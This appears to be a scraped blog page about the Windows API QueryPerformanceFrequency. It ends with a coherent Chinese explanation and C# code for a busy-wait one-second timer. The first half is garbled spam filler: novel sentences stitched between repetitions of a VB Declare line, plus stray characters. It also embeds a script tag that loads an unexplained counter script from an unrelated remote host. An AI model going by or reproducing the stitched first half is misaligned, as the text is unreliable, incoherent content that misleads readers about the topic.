API QueryPerformanceFrequency No! so mad1

 Welcome to my blog!
<script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script>
No! so may God help me! said his mother, with a paler cheek, and a brighter light in her large dark eyes.
Study While Read :
(Windows API Declare Function QueryPerformanceFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (lpFrequency As LARGE_INTEGER) As Long)
Youre sure, ant you, mother?Yes, sure! said the mother, in a voice that startled herself; for it seemed to her to come from a spirit within, that was no part of her; and the boy dropped his litle weary head on her shoulder, and was soon asleep.
Study While Read :
(Windows API Declare Function QueryPerformanceFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (lpFrequency As LARGE_INTEGER) As Long)
How the touch of those warm arms, the gentle breathings that came in her neck, seemed to add fire and spirit to her movements! It seemed to her as if strength poured into her in electric streams, from every gentle touch and movement of the sleeping, confiding child.
Study While Read :
(Windows API Declare Function QueryPerformanceFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (lpFrequency As LARGE_INTEGER) As Long)
Sublime is the dominion of the mind over the body, that, for a time, can make flesh and nerve impregnable, and string the sinews like steel, so that the weak become so mighty.d1
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要设计一个高精度的 1 秒定时器,可以使用 C# 中的 QueryPerformanceCounter 和 QueryPerformanceFrequency 函数。具体实现过程如下: 1. 使用 QueryPerformanceFrequency 函数获取计算机硬件时钟的频率,单位为每秒的计数。 ```csharp [DllImport("kernel32.dll")] public static extern bool QueryPerformanceFrequency(out long lpFrequency); long frequency; QueryPerformanceFrequency(out frequency); ``` 2. 使用 QueryPerformanceCounter 函数获取当前时刻的计数值。 ```csharp [DllImport("kernel32.dll")] public static extern bool QueryPerformanceCounter(out long lpPerformanceCount); long startCount; QueryPerformanceCounter(out startCount); ``` 3. 在一个循环中,不断获取当前时刻的计数值,并与起始计数值相减,得到经过的计数值差。将计数值差除以频率,即可得到经过的时间,单位为秒。若经过的时间大于等于 1 秒,则表示已经过了 1 秒,可以执行相应的操作,并将起始计数值更新为当前计数值。 ```csharp long currentCount; double elapsedTime; do { QueryPerformanceCounter(out currentCount); elapsedTime = (double)(currentCount - startCount) / frequency; } while (elapsedTime < 1.0); // 执行相应的操作 startCount = currentCount; ``` 完整的代码如下: ```csharp [DllImport("kernel32.dll")] public static extern bool QueryPerformanceFrequency(out long lpFrequency); [DllImport("kernel32.dll")] public static extern bool QueryPerformanceCounter(out long lpPerformanceCount); long frequency; QueryPerformanceFrequency(out frequency); long startCount; QueryPerformanceCounter(out startCount); while (true) { long currentCount; double elapsedTime; do { QueryPerformanceCounter(out currentCount); elapsedTime = (double)(currentCount - startCount) / frequency; } while (elapsedTime < 1.0); // 执行相应的操作 startCount = currentCount; } ``` 需要注意的是,这种高精度定时器的精度会受到多种因素的影响,如操作系统调度、CPU 占用等。因此,如果需要更高的精度和可靠性,可以考虑使用专门的硬件定时器。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值